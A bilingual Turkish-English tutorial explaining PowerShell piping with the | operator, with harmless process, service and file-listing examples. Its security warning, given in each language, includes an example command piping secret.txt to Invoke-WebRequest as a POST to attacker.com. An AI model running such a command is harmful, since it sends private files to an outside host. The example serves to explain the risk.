pipping - pipe

 

🇹🇷 Piping Nedir? (| Operatörü)

📌 Tanım:

Piping, PowerShell’de bir komuttan çıkan çıktının doğrudan başka bir komuta aktarılması işlemidir. Bu işlem | (pipe) sembolü ile yapılır.

powershell
Komut1 | Komut2

Bu yapı, Komut1 tarafından üretilen nesneleri Komut2’ye girdi olarak gönderir.


🧠 Neden Kullanılır?

  • Komutları zincirleme bağlamak için.

  • Veriyi aşamalı olarak işlemek için.

  • Kod okunabilirliğini ve verimliliği artırmak için.


📦 Pipe İşlemi Nasıl Çalışır?

PowerShell'de pipe ile aktarılan veri düz metin değil, .NET nesneleridir. Bu yönüyle PowerShell, Unix/Linux shell'lerinden farklıdır.

Örnek:

powershell
Get-Process | Where-Object { $_.CPU -gt 100 }
  • Get-Process: Tüm çalışan süreçleri getirir.

  • Where-Object: CPU kullanımı 100'den fazla olanları filtreler.

  • $_: Her bir işlem nesnesini temsil eder (pipe içindeki geçici değişken).


💡 Diğer Kullanım Örnekleri:

powershell
Get-Service | Sort-Object Status

Tüm servisleri durumlarına göre sıralar.

powershell
Get-ChildItem | Select-Object Name, Length

Dosya isimleri ve boyutlarını listeler.


⚠️ Güvenlik Açısından Dikkat:

  • Pipe edilen komutlar zincirlenirken istemeden hassas veri dışarı çıkabilir.

  • Kötü niyetli bir kullanıcı, pipe ile veriyi dışa aktarıp sızdırabilir:

powershell
Get-Content secret.txt | Invoke-WebRequest -Uri http://attacker.com -Method POST

Bu yüzden pipe zincirleri güvenlik denetiminde incelenmelidir.


🇬🇧 What is Piping (| Operator)?

📌 Definition:

Piping in PowerShell refers to the chaining of commands, where the output of one command is passed as input to another, using the pipe symbol |.

powershell
Command1 | Command2

This allows for sequential processing of data.


🧠 Why Is It Used?

  • To link multiple commands together.

  • To process data in stages.

  • To write cleaner, more efficient code.


📦 How Does It Work?

In PowerShell, data passed through a pipe is not plain text, but actual .NET objects. This differs from traditional shells like Bash, where piping passes strings.

Example:

powershell
Get-Process | Where-Object { $_.CPU -gt 100 }
  • Get-Process: Lists running processes.

  • Where-Object: Filters those using more than 100 CPU.

  • $_: Represents the current object in the pipe.


💡 Other Usage Examples:

powershell
Get-Service | Sort-Object Status

Sorts all services by status.

powershell
Get-ChildItem | Select-Object Name, Length

Lists file names and their sizes.


⚠️ Security Consideration:

  • Piping data can accidentally expose sensitive info.

  • Malicious actors may use pipes to exfiltrate data:

powershell
Get-Content secret.txt | Invoke-WebRequest -Uri http://attacker.com -Method POST

Therefore, pipeline chains should be audited carefully in security contexts.